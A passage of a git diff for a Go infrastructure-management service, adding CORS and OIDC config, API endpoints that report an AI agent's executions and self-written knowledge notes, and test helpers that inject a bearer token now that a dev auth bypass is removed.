golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
|
||||
@@ -19,10 +19,16 @@ type Config struct {
|
||||
APIEnv string // dev, prod
|
||||
|
||||
// Auth (Phase 2: static bearer tokens + OIDC JWT)
|
||||
APIToken string // operator/CI bearer token for the REST API
|
||||
MCPBearerToken string // shared secret for Nomos→API MCP calls
|
||||
OIDCIssuer string // OIDC issuer URL for JWT validation (e.g. https://authentik.example.com/application/o/oikos/)
|
||||
OIDCClientID string // OIDC client ID (aud claim expected in JWT)
|
||||
APIToken string // operator/CI bearer token for the REST API
|
||||
MCPBearerToken string // shared secret for Nomos→API MCP calls
|
||||
OIDCIssuer string // OIDC issuer URL for JWT validation (e.g. https://authentik.example.com/application/o/oikos/)
|
||||
OIDCClientID string // OIDC client ID (aud claim expected in JWT)
|
||||
OIDCClientSecret string // optional client secret for token endpoint proxy (confidential clients)
|
||||
|
||||
// CORS (client/server split — see plans/2026-07-12-wails-desktop-app.md
|
||||
// 0.3). Needed for the Wails webview and local dev (Vite on a different
|
||||
// port than the API); a no-op when the SPA and API share an origin.
|
||||
CORSAllowedOrigin string
|
||||
|
||||
// Observability
|
||||
Debug bool // verbose logging, probe payloads, SQL
|
||||
@@ -73,6 +79,7 @@ func Default() Config {
|
||||
DatabaseURL: "postgres://oikos:***@localhost:5432/oikos?sslmode=disable",
|
||||
APIListen: ":8090",
|
||||
APIEnv: "dev",
|
||||
CORSAllowedOrigin: "*",
|
||||
SeedsDir: "seeds",
|
||||
MigrationsDir: "migrations",
|
||||
SchedulerInterval: 30 * time.Second,
|
||||
@@ -102,12 +109,18 @@ func FromEnv() Config {
|
||||
if v := os.Getenv("OIKOS_OIDC_CLIENT_ID"); v != "" {
|
||||
c.OIDCClientID = v
|
||||
}
|
||||
if v := os.Getenv("OIKOS_OIDC_CLIENT_SECRET"); v != "" {
|
||||
c.OIDCClientSecret = v
|
||||
}
|
||||
if v := os.Getenv("OIKOS_API_TOKEN"); v != "" {
|
||||
c.APIToken = v
|
||||
}
|
||||
if v := os.Getenv("OIKOS_MCP_BEARER_TOKEN"); v != "" {
|
||||
c.MCPBearerToken = v
|
||||
}
|
||||
if v := os.Getenv("OIKOS_CORS_ORIGIN"); v != "" {
|
||||
c.CORSAllowedOrigin = v
|
||||
}
|
||||
if v := os.Getenv("OIKOS_SEEDS_DIR"); v != "" {
|
||||
c.SeedsDir = v
|
||||
}
|
||||
|
||||
215
internal/httpapi/activity.go
Normal file
215
internal/httpapi/activity.go
Normal file
@@ -0,0 +1,215 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
// activityItem is one row in the global activity feed — a human-readable
|
||||
// projection of an execution, independent of the paginated/alphabetically-
|
||||
// sorted ListExecutions (which orders by target slug for entity-scoped
|
||||
// browsing, not recency — wrong shape for "what just happened").
|
||||
type activityItem struct {
|
||||
ID string `json:"id"`
|
||||
Target string `json:"target"`
|
||||
Verb string `json:"verb"` // e.g. "run", "pct_create", "systemctl"
|
||||
Summary string `json:"summary"` // human-readable: the command, or purpose, or action detail
|
||||
RiskClass string `json:"risk_class"`
|
||||
Status string `json:"status"`
|
||||
DurationMs *int `json:"duration_ms"`
|
||||
Error string `json:"error,omitempty"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
CompletedAt *string `json:"completed_at"`
|
||||
}
|
||||
|
||||
// splitAction parses the "verb:params" encoding used throughout executions.action
|
||||
// (see internal/mcp/server.go) into a verb and a human-readable summary. For
|
||||
// `run`, params is JSON {command, purpose} — show the purpose if present
|
||||
// (it's written for a human), falling back to the raw command. For other
|
||||
// actions (pct_create, systemctl, apt_upgrade, pct_exec), params is either a
|
||||
// JSON blob or a short flag string — truncate either as a fallback summary.
|
||||
func splitAction(action string) (verb, summary string) {
|
||||
idx := strings.IndexByte(action, ':')
|
||||
if idx < 0 {
|
||||
return action, ""
|
||||
}
|
||||
verb, params := action[:idx], action[idx+1:]
|
||||
if verb == "run" {
|
||||
var p struct {
|
||||
Command string `json:"command"`
|
||||
Purpose string `json:"purpose"`
|
||||
}
|
||||
if json.Unmarshal([]byte(params), &p) == nil {
|
||||
if p.Purpose != "" {
|
||||
return verb, p.Purpose
|
||||
}
|
||||
return verb, p.Command
|
||||
}
|
||||
}
|
||||
if verb == "pct_create" {
|
||||
var p struct {
|
||||
Hostname string `json:"hostname"`
|
||||
}
|
||||
if json.Unmarshal([]byte(params), &p) == nil && p.Hostname != "" {
|
||||
return verb, "provision " + p.Hostname
|
||||
}
|
||||
}
|
||||
if len(params) > 140 {
|
||||
params = params[:140] + "…"
|
||||
}
|
||||
return verb, params
|
||||
}
|
||||
|
||||
// serveRecentActivity backs the Operations page's live activity feed — the
|
||||
// global "what is the system doing / what did it just do" view, recency-
|
||||
// ordered (unlike ListExecutions, which sorts by target for pagination).
|
||||
// Custom route, same shape/rationale as serveRecentKnowledge.
|
||||
func (s *Server) serveRecentActivity(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
limit := 50
|
||||
if l := req.URL.Query().Get("limit"); l != "" {
|
||||
if n, err := strconv.Atoi(l); err == nil && n > 0 && n <= 200 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.entity_id, te.slug, e.action, e.risk_class, e.status,
|
||||
e.duration_ms, e.result, e.created_at::text, e.completed_at::text
|
||||
FROM executions e
|
||||
JOIN entities te ON te.id = e.target_entity_id
|
||||
ORDER BY e.created_at DESC
|
||||
LIMIT $1`, limit)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
items := []activityItem{}
|
||||
for rows.Next() {
|
||||
var it activityItem
|
||||
var action string
|
||||
var resultBytes []byte
|
||||
var completedAt *string
|
||||
if err := rows.Scan(&it.ID, &it.Target, &action, &it.RiskClass, &it.Status,
|
||||
&it.DurationMs, &resultBytes, &it.CreatedAt, &completedAt); err != nil {
|
||||
slog.Error("httpapi: activity/recent row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
it.Verb, it.Summary = splitAction(action)
|
||||
it.CompletedAt = completedAt
|
||||
if len(resultBytes) > 0 {
|
||||
var result map[string]any
|
||||
if json.Unmarshal(resultBytes, &result) == nil {
|
||||
if e, ok := result["error"].(string); ok && e != "" {
|
||||
if len(e) > 200 {
|
||||
e = e[:200] + "…"
|
||||
}
|
||||
it.Error = e
|
||||
}
|
||||
}
|
||||
}
|
||||
items = append(items, it)
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// sessionDigestItem summarizes one execution for the session digest.
|
||||
type sessionDigestItem struct {
|
||||
Target string `json:"target"`
|
||||
Verb string `json:"verb"`
|
||||
Summary string `json:"summary"`
|
||||
RiskClass string `json:"risk_class"`
|
||||
Status string `json:"status"`
|
||||
}
|
||||
|
||||
// serveSessionDigest answers "what did THIS chat session actually do" —
|
||||
// commands run (grouped by outcome), distinct entities touched, and knowledge
|
||||
// written during the session's time window. Uses nomos_plan_executions (the
|
||||
// session<->execution link added for auto-continuation) as the source of
|
||||
// truth for which executions belong to this session; knowledge correlation is
|
||||
// a best-effort time-window match since knowledge_entities has no session_id.
|
||||
func (s *Server) serveSessionDigest(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
sessionID := chi.URLParam(req, "id")
|
||||
if sessionID == "" {
|
||||
writeProblem(w, req, http.StatusBadRequest, "missing session id", "")
|
||||
return
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT te.slug, e.action, e.risk_class, e.status
|
||||
FROM nomos_plan_executions l
|
||||
JOIN executions e ON e.entity_id = l.execution_id
|
||||
JOIN entities te ON te.id = e.target_entity_id
|
||||
WHERE l.session_id = $1
|
||||
ORDER BY e.created_at`, sessionID)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
items := []sessionDigestItem{}
|
||||
byStatus := map[string]int{}
|
||||
targets := map[string]bool{}
|
||||
for rows.Next() {
|
||||
var it sessionDigestItem
|
||||
var action string
|
||||
if err := rows.Scan(&it.Target, &action, &it.RiskClass, &it.Status); err != nil {
|
||||
continue
|
||||
}
|
||||
it.Verb, it.Summary = splitAction(action)
|
||||
items = append(items, it)
|
||||
byStatus[it.Status]++
|
||||
targets[it.Target] = true
|
||||
}
|
||||
|
||||
entityList := make([]string, 0, len(targets))
|
||||
for t := range targets {
|
||||
entityList = append(entityList, t)
|
||||
}
|
||||
|
||||
// Best-effort knowledge correlation: notes the agent wrote during this
|
||||
// session's active window. Not exact (no session_id on knowledge_entities)
|
||||
// but close enough to show "you learned N things in this session".
|
||||
var knowledgeTitles []string
|
||||
krows, err := s.pool.Query(ctx, `
|
||||
SELECT ke.title FROM knowledge_entities ke
|
||||
WHERE ke.source = 'nomos-agent'
|
||||
AND ke.updated_at BETWEEN
|
||||
(SELECT COALESCE(MIN(created_at), now()) FROM agent_messages WHERE session_id = $1)
|
||||
AND
|
||||
(SELECT COALESCE(MAX(created_at), now()) + interval '2 minutes' FROM agent_messages WHERE session_id = $1)
|
||||
ORDER BY ke.updated_at`, sessionID)
|
||||
if err == nil {
|
||||
defer krows.Close()
|
||||
for krows.Next() {
|
||||
var t string
|
||||
if krows.Scan(&t) == nil {
|
||||
knowledgeTitles = append(knowledgeTitles, t)
|
||||
}
|
||||
}
|
||||
}
|
||||
if knowledgeTitles == nil {
|
||||
knowledgeTitles = []string{}
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"session_id": sessionID,
|
||||
"total_executions": len(items),
|
||||
"by_status": byStatus,
|
||||
"entities_touched": entityList,
|
||||
"executions": items,
|
||||
"knowledge_created": knowledgeTitles,
|
||||
})
|
||||
}
|
||||
@@ -93,15 +93,34 @@ func newTestHandler(t *testing.T, cfg config.Config) http.Handler {
|
||||
}
|
||||
}
|
||||
|
||||
return NewHandler(handlerCtx, pool, cfg, nil)
|
||||
return NewHandler(handlerCtx, pool, cfg)
|
||||
}
|
||||
|
||||
// testAuthToken is the static bearer token devConfig() configures. There is
|
||||
// no dev-open bypass (removed — plans/2026-07-12-wails-desktop-app.md 0.4),
|
||||
// so every test handler needs a real credential; get/postJSON/do inject it
|
||||
// by default. Pass an explicit "" value for "Authorization" in headers to
|
||||
// test the no-credential path.
|
||||
const testAuthToken = "test-dev-token"
|
||||
|
||||
// applyHeaders sets req's default Authorization header, then layers headers
|
||||
// on top. A "" value deletes the header instead of setting it, so tests can
|
||||
// exercise the missing-credential case.
|
||||
func applyHeaders(req *http.Request, headers map[string]string) {
|
||||
req.Header.Set("Authorization", "Bearer "+testAuthToken)
|
||||
for k, v := range headers {
|
||||
if v == "" {
|
||||
req.Header.Del(k)
|
||||
} else {
|
||||
req.Header.Set(k, v)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func get(t *testing.T, h http.Handler, path string, headers map[string]string) (*httptest.ResponseRecorder, map[string]any) {
|
||||
t.Helper()
|
||||
req := httptest.NewRequest("GET", path, nil)
|
||||
for k, v := range headers {
|
||||
req.Header.Set(k, v)
|
||||
}
|
||||
applyHeaders(req, headers)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
var body map[string]any
|
||||
@@ -113,6 +132,7 @@ func postJSON(t *testing.T, h http.Handler, path string, payload string) (*httpt
|
||||
t.Helper()
|
||||
req := httptest.NewRequest("POST", path, strings.NewReader(payload))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
applyHeaders(req, nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
var body map[string]any
|
||||
@@ -122,7 +142,8 @@ func postJSON(t *testing.T, h http.Handler, path string, payload string) (*httpt
|
||||
|
||||
func devConfig() config.Config {
|
||||
c := config.Default()
|
||||
c.APIEnv = "dev" // no tokens → dev-open auth
|
||||
c.APIEnv = "dev"
|
||||
c.APIToken = testAuthToken
|
||||
return c
|
||||
}
|
||||
|
||||
@@ -295,7 +316,7 @@ func TestAPIBearerAuth(t *testing.T) {
|
||||
}
|
||||
|
||||
// API requires the token
|
||||
rec, body := get(t, h, "/api/v1/entities", nil)
|
||||
rec, body := get(t, h, "/api/v1/entities", map[string]string{"Authorization": ""})
|
||||
if rec.Code != 401 {
|
||||
t.Errorf("no token = %d, want 401 (%v)", rec.Code, body)
|
||||
}
|
||||
|
||||
@@ -1290,7 +1290,10 @@ func (s *Server) GetClientContext(ctx context.Context, req gen.GetClientContextR
|
||||
for rows.Next() {
|
||||
var p string
|
||||
if scanErr := rows.Scan(&p); scanErr == nil {
|
||||
if strings.HasPrefix(p, "tools/") && strings.HasSuffix(p, ".setup.sh") {
|
||||
// Matches tools/setup-*.sh (the auto-setup convention —
|
||||
// see tools/post-pull.sh). Was tools/*.setup.sh until
|
||||
// 2026-07-12, which never matched any real filename.
|
||||
if strings.HasPrefix(p, "tools/setup-") && strings.HasSuffix(p, ".sh") {
|
||||
toolsChanged = append(toolsChanged, p)
|
||||
} else if p == ".sops.yaml" {
|
||||
sopsChanged = true
|
||||
|
||||
@@ -2,16 +2,165 @@ package httpapi
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
|
||||
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// serveRecentKnowledge backs the Knowledge page's "what the system knows / has
|
||||
// learned" view (a custom route, not part of the generated OpenAPI surface).
|
||||
// It returns recency-ordered knowledge with a small stats header so the
|
||||
// operator can literally watch the knowledge base grow — especially the notes
|
||||
// Nomos writes itself via upsert_knowledge (source='nomos-agent'), which is
|
||||
// the concrete evidence of "the system is getting better." Optional ?source=
|
||||
// and ?limit= query params.
|
||||
func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
limit := 50
|
||||
if l := req.URL.Query().Get("limit"); l != "" {
|
||||
if n, err := strconv.Atoi(l); err == nil && n > 0 && n <= 200 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
source := req.URL.Query().Get("source") // "" = all, "nomos-agent" = agent-authored only
|
||||
|
||||
type item struct {
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
Source string `json:"source"`
|
||||
Tags []string `json:"tags"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
AgentAuthored bool `json:"agent_authored"`
|
||||
}
|
||||
|
||||
// updated_at is cast to text in SQL — pgx v5 can't scan a timestamptz
|
||||
// directly into a Go string (needs time.Time or an explicit cast), and
|
||||
// that scan error was being silently swallowed below (every row skipped,
|
||||
// endpoint returned 200 with an empty list and correct-looking stats
|
||||
// since the stats query doesn't scan any timestamp column — found live).
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.slug, ke.title, e.type, COALESCE(ke.source,''), ke.tags, ke.updated_at::text
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ($1 = '' OR ke.source = $1)
|
||||
ORDER BY ke.updated_at DESC
|
||||
LIMIT $2`, source, limit)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
items := []item{}
|
||||
for rows.Next() {
|
||||
var it item
|
||||
var src string
|
||||
if err := rows.Scan(&it.Slug, &it.Title, &it.Kind, &src, &it.Tags, &it.UpdatedAt); err != nil {
|
||||
slog.Error("httpapi: knowledge/recent row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
it.Source = src
|
||||
it.AgentAuthored = src == "nomos-agent"
|
||||
if it.Tags == nil {
|
||||
it.Tags = []string{}
|
||||
}
|
||||
items = append(items, it)
|
||||
}
|
||||
|
||||
// Stats header: total, by kind, agent-authored, and how many changed in the
|
||||
// last 7 days (the "still learning" signal).
|
||||
var total, agentAuthored, last7d int
|
||||
byKind := map[string]int{}
|
||||
srows, err := s.pool.Query(ctx, `
|
||||
SELECT e.type, COUNT(*),
|
||||
COUNT(*) FILTER (WHERE ke.source = 'nomos-agent'),
|
||||
COUNT(*) FILTER (WHERE ke.updated_at > now() - interval '7 days')
|
||||
FROM knowledge_entities ke JOIN entities e ON e.id = ke.entity_id
|
||||
GROUP BY e.type`)
|
||||
if err == nil {
|
||||
defer srows.Close()
|
||||
for srows.Next() {
|
||||
var kind string
|
||||
var c, a, l int
|
||||
if srows.Scan(&kind, &c, &a, &l) == nil {
|
||||
byKind[kind] = c
|
||||
total += c
|
||||
agentAuthored += a
|
||||
last7d += l
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"stats": map[string]any{
|
||||
"total": total,
|
||||
"by_kind": byKind,
|
||||
"agent_authored": agentAuthored,
|
||||
"last_7d": last7d,
|
||||
},
|
||||
"items": items,
|
||||
})
|
||||
}
|
||||
|
||||
// serveKnowledgeContent returns the full markdown body for a document/
|
||||
// investigation/runbook entity, by its own entity id or slug. Nothing else
|
||||
// exposes knowledge_entities.content — GetEntityKnowledge (below) answers a
|
||||
// different question ("what knowledge references THIS entity"), and
|
||||
// SearchKnowledge only returns a short ts_headline snippet. The KB detail
|
||||
// panel needs the entity's own full content when it IS a knowledge entity.
|
||||
func (s *Server) serveKnowledgeContent(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
// chi.URLParam returns the raw, still-percent-encoded segment (unlike
|
||||
// the OpenAPI-generated routes, which decode via
|
||||
// runtime.BindStyledParameterWithOptions before reaching the handler) —
|
||||
// slugs like "document:containers/101-jellyfin" arrive as
|
||||
// "document%3Acontainers%2F101-jellyfin" and must be unescaped here.
|
||||
idOrSlug, err := url.PathUnescape(chi.URLParam(req, "id"))
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
var title, content, source string
|
||||
var tags []string
|
||||
var updatedAt string
|
||||
err = s.pool.QueryRow(ctx, `
|
||||
SELECT ke.title, ke.content, COALESCE(ke.source,''), ke.tags, ke.updated_at::text
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE e.slug = $1 OR e.id::text = $1`, idOrSlug).
|
||||
Scan(&title, &content, &source, &tags, &updatedAt)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no knowledge content for entity", "")
|
||||
return
|
||||
}
|
||||
if tags == nil {
|
||||
tags = []string{}
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"title": title,
|
||||
"content": content,
|
||||
"source": source,
|
||||
"tags": tags,
|
||||
"updated_at": updatedAt,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) SearchKnowledge(ctx context.Context, request gen.SearchKnowledgeRequestObject) (gen.SearchKnowledgeResponseObject, error) {
|
||||
q := request.Params.Q
|
||||
limit := clampLimit(request.Params.Limit)
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags,
|
||||
SELECT e.id, e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags,
|
||||
ts_rank(ke.search, plainto_tsquery('english', $1)) AS rank,
|
||||
ts_headline('english', ke.content, plainto_tsquery('english', $1),
|
||||
'MaxWords=40, MinWords=15, ShortWord=3, MaxFragments=3,
|
||||
@@ -31,12 +180,13 @@ func (s *Server) SearchKnowledge(ctx context.Context, request gen.SearchKnowledg
|
||||
items := []gen.KnowledgeHit{}
|
||||
|
||||
for rows.Next() {
|
||||
var id uuid.UUID
|
||||
var slug, eType, title, source string
|
||||
var tags []string
|
||||
var rank float32
|
||||
var snippet *string
|
||||
|
||||
if err := rows.Scan(&slug, &eType, &title, &source, &tags, &rank, &snippet); err != nil {
|
||||
if err := rows.Scan(&id, &slug, &eType, &title, &source, &tags, &rank, &snippet); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -49,6 +199,7 @@ func (s *Server) SearchKnowledge(ctx context.Context, request gen.SearchKnowledg
|
||||
}
|
||||
|
||||
items = append(items, gen.KnowledgeHit{
|
||||
Id: id,
|
||||
Slug: slug,
|
||||
Title: title,
|
||||
Type: hitType,
|
||||
@@ -72,7 +223,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
||||
entitySlug := request.EntityId
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags
|
||||
SELECT e.id, e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
JOIN entity_types et ON et.name = e.type
|
||||
@@ -82,7 +233,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
||||
AND r.valid_to IS NULL
|
||||
AND r.type IN ('documents', 'about')
|
||||
UNION
|
||||
SELECT e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags
|
||||
SELECT e.id, e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
JOIN entity_types et ON et.name = e.type
|
||||
@@ -91,7 +242,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
||||
JOIN entities ent ON ent.type = target_type.name AND ent.slug = $1
|
||||
WHERE r.valid_to IS NULL
|
||||
AND r.type = 'procedure-for'
|
||||
ORDER BY 1`,
|
||||
ORDER BY 2`,
|
||||
entitySlug)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -100,10 +251,11 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
||||
|
||||
items := []gen.KnowledgeHit{}
|
||||
for rows.Next() {
|
||||
var id uuid.UUID
|
||||
var slug, eType, title, source string
|
||||
var tags []string
|
||||
|
||||
if err := rows.Scan(&slug, &eType, &title, &source, &tags); err != nil {
|
||||
if err := rows.Scan(&id, &slug, &eType, &title, &source, &tags); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -116,6 +268,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
||||
}
|
||||
|
||||
items = append(items, gen.KnowledgeHit{
|
||||
Id: id,
|
||||
Slug: slug,
|
||||
Title: title,
|
||||
Type: hitType,
|
||||
|
||||
129
internal/httpapi/learning_view.go
Normal file
129
internal/httpapi/learning_view.go
Normal file
@@ -0,0 +1,129 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// capabilityTimelineItem summarizes one verb's track record — when the
|
||||
// agent first succeeded at it, and how reliable it's been since. Derived
|
||||
// directly from executions (which has real, growing data) rather than the
|
||||
// patterns/skills tables, which are correctly modeled but have zero writers
|
||||
// anywhere in the codebase today — building against them now would ship a
|
||||
// permanently empty page. See plans/2026-07-10-general-gated-execution.md
|
||||
// step 8 evaluation.
|
||||
type capabilityTimelineItem struct {
|
||||
Verb string `json:"verb"`
|
||||
FirstSuccess *string `json:"first_success"`
|
||||
Successes int `json:"successes"`
|
||||
Total int `json:"total"`
|
||||
}
|
||||
|
||||
// serveLearningTimeline backs the Learning page's capability timeline: one
|
||||
// row per distinct verb (parsed via splitAction, same helper the activity
|
||||
// feed uses), ordered by when it first succeeded — an honest "the system
|
||||
// learned to do X" signal without depending on the unpopulated patterns
|
||||
// table.
|
||||
func (s *Server) serveLearningTimeline(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT action, status, created_at::text
|
||||
FROM executions
|
||||
ORDER BY created_at`)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type agg struct {
|
||||
firstSuccess *string
|
||||
successes int
|
||||
total int
|
||||
}
|
||||
byVerb := map[string]*agg{}
|
||||
for rows.Next() {
|
||||
var action, status, createdAt string
|
||||
if err := rows.Scan(&action, &status, &createdAt); err != nil {
|
||||
slog.Error("httpapi: learning/timeline row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
verb, _ := splitAction(action)
|
||||
a, ok := byVerb[verb]
|
||||
if !ok {
|
||||
a = &agg{}
|
||||
byVerb[verb] = a
|
||||
}
|
||||
a.total++
|
||||
if status == "completed" {
|
||||
a.successes++
|
||||
if a.firstSuccess == nil {
|
||||
ca := createdAt
|
||||
a.firstSuccess = &ca
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
items := make([]capabilityTimelineItem, 0, len(byVerb))
|
||||
for verb, a := range byVerb {
|
||||
items = append(items, capabilityTimelineItem{
|
||||
Verb: verb, FirstSuccess: a.firstSuccess, Successes: a.successes, Total: a.total,
|
||||
})
|
||||
}
|
||||
// Verbs with at least one success sort by when that first happened;
|
||||
// verbs that have never succeeded sort last (nothing to celebrate yet).
|
||||
sort.Slice(items, func(i, j int) bool {
|
||||
fi, fj := items[i].FirstSuccess, items[j].FirstSuccess
|
||||
if fi == nil {
|
||||
return false
|
||||
}
|
||||
if fj == nil {
|
||||
return true
|
||||
}
|
||||
return *fi < *fj
|
||||
})
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"items": items})
|
||||
}
|
||||
|
||||
type trendBucket struct {
|
||||
Day string `json:"day"`
|
||||
Successes int `json:"successes"`
|
||||
Failures int `json:"failures"`
|
||||
}
|
||||
|
||||
// serveLearningTrend backs the Learning page's 30-day success/fail trend
|
||||
// chart — a daily bucket of execution outcomes, straight off the executions
|
||||
// table.
|
||||
func (s *Server) serveLearningTrend(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT date_trunc('day', created_at)::date::text AS day,
|
||||
COUNT(*) FILTER (WHERE status = 'completed') AS successes,
|
||||
COUNT(*) FILTER (WHERE status = 'failed') AS failures
|
||||
FROM executions
|
||||
WHERE created_at > now() - interval '30 days'
|
||||
GROUP BY day
|
||||
ORDER BY day`)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
items := []trendBucket{}
|
||||
for rows.Next() {
|
||||
var b trendBucket
|
||||
if err := rows.Scan(&b.Day, &b.Successes, &b.Failures); err != nil {
|
||||
slog.Error("httpapi: learning/trend row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
items = append(items, b)
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"items": items})
|
||||
}
|
||||
@@ -24,9 +24,7 @@ func do(t *testing.T, h http.Handler, method, path string, body any, headers map
|
||||
}
|
||||
req := httptest.NewRequest(method, path, rdr)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
for k, v := range headers {
|
||||
req.Header.Set(k, v)
|
||||
}
|
||||
applyHeaders(req, headers)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
var decoded map[string]any
|
||||
|
||||
119
internal/httpapi/pct_create_test.go
Normal file
119
internal/httpapi/pct_create_test.go
Normal file
@@ -0,0 +1,119 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestFlexBoolUnmarshal covers the exact production failure: the LLM emitted
|
||||
// `"privileged":0` / `"nesting":1` (numbers) and the strict bool field made the
|
||||
// already-approved pct_create execution fail to parse, so the LXC was never
|
||||
// created.
|
||||
func TestFlexBoolUnmarshal(t *testing.T) {
|
||||
type cfg struct {
|
||||
Privileged flexBool `json:"privileged"`
|
||||
Nesting flexBool `json:"nesting"`
|
||||
}
|
||||
cases := []struct {
|
||||
in string
|
||||
privileged bool
|
||||
nesting bool
|
||||
wantErr bool
|
||||
}{
|
||||
{`{"privileged":0,"nesting":1}`, false, true, false}, // the prod payload
|
||||
{`{"privileged":false,"nesting":true}`, false, true, false}, // canonical
|
||||
{`{"privileged":"1","nesting":"0"}`, true, false, false}, // stringified
|
||||
